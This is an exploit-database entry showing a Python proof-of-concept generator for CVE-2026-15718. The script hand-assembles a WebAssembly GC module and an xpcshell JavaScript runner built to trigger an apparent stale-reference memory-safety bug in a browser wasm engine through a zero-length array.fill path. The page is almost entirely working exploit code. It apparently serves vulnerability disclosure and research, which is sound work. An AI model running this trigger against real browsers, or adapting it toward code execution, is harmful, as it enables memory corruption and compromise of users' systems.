Exploit databaseDownload repository ZIP
GH-59c14176087c8c40d6c025022f122a39
sneakynachos/cve-2026-15718-who-put-ptrs-in-my-wasm
Sources for CVE-2026-15718
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
sneakynachos/cve-2026-15718-who-put-ptrs-in-my-wasmRevision 52ad6a199f7f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/gen_trigger.py
Python · 3,632 bytes#!/usr/bin/env python3
# CVE-2026-15718: hand-assembled wasm trigger (wabt 1.0.41 GC syntax too old).
import struct
def u(n):
out = bytearray()
while True:
b = n & 0x7f
n >>= 7
if n:
out.append(b | 0x80)
else:
out.append(b)
return bytes(out)
def s(n): # sleb128
out = bytearray()
more = True
while more:
b = n & 0x7f
n >>= 7
if (n == 0 and not (b & 0x40)) or (n == -1 and (b & 0x40)):
more = False
else:
b |= 0x80
out.append(b)
return bytes(out)
def sect(id, payload):
return bytes([id]) + u(len(payload)) + payload
def name(s_):
return u(len(s_)) + s_.encode()
I64 = 0x7e
I32 = 0x7f
REFNULL = 0x63
GCP = 0xfb
# ---- type section ----
# type 0: struct { i64 }
t_struct = bytes([0x5f]) + u(1) + bytes([I64, 0x00])
# type 1: array (mut (ref null 0))
t_array = bytes([0x5e]) + bytes([REFNULL]) + s(0) + bytes([0x01])
# type 2: func (param (ref null 1) i32) (result i64)
t_f = bytes([0x60]) + u(2) + bytes([REFNULL]) + s(1) + bytes([I32]) + u(1) + bytes([I64])
# type 3: func (param i32) (result i64)
t_run = bytes([0x60]) + u(1) + bytes([I32]) + u(1) + bytes([I64])
types = u(4) + t_struct + t_array + t_f + t_run
# ---- function section ----
funcs = u(2) + u(2) + u(3)
# ---- export section ----
exports = u(1) + name("run") + bytes([0x00]) + u(1)
# ---- code section ----
# func 0 ($f): params (ref null 1)=p0, i32=p1; local 2 = (ref null 0)
f_body = b""
f_body += bytes([0x42]) + s(0x1122334455667788) # i64.const marker value
f_body += bytes([GCP, 0x00]) + u(0) # struct.new 0
f_body += bytes([0x21]) + u(2) # local.set 2 (latent)
f_body += bytes([0x20]) + u(2) # local.get 2 -> latent ref on stack
f_body += bytes([0x20]) + u(0) # local.get 0 -> arr
f_body += bytes([0x41]) + s(0) # i32.const 0 -> index
f_body += bytes([0xd0]) + s(0) # ref.null 0 -> value
f_body += bytes([0x20]) + u(1) # local.get 1 -> numElements
f_body += bytes([GCP, 0x10]) + u(1) # array.fill 1
f_body += bytes([GCP, 0x02]) + u(0) + u(0) # struct.get 0 0 (deref latent)
f_body += bytes([0x0b]) # end
f_code = u(1) + u(1) + bytes([REFNULL]) + s(0) + f_body # 1 local group: 1 x (ref null 0)
f_code = u(len(f_code)) + f_code
# func 1 ($run): param i32=p0, no locals
r_body = b""
r_body += bytes([0xd0]) + s(0) # ref.null 0
r_body += bytes([0x41]) + s(8) # i32.const 8
r_body += bytes([GCP, 0x06]) + u(1) # array.new 1
r_body += bytes([0x20]) + u(0) # local.get 0 -> n
r_body += bytes([0x10]) + u(0) # call 0
r_body += bytes([0x0b]) # end
r_code = u(0) + r_body
r_code = u(len(r_code)) + r_code
code = u(2) + f_code + r_code
wasm = b"\x00asm\x01\x00\x00\x00" + sect(1, types) + sect(3, funcs) + sect(7, exports) + sect(10, code)
open("trigger.wasm", "wb").write(wasm)
print("wrote", len(wasm), "bytes")
# self-contained xpcshell runner
js = """// CVE-2026-15718 min PoC (xpcshell)
const bytes = new Uint8Array(%s);
const m = new WebAssembly.Module(bytes);
const inst = new WebAssembly.Instance(m, {});
print("control path n=1 (loop runs, synced): 0x" + inst.exports.run(1).toString(16));
print("now the zero-trip path n=0 ...");
const r = inst.exports.run(0);
print("SURVIVED, got 0x" + r.toString(16));
""" % (list(wasm),)
open("poc-min.js", "w").write(js)
print("wrote poc.js")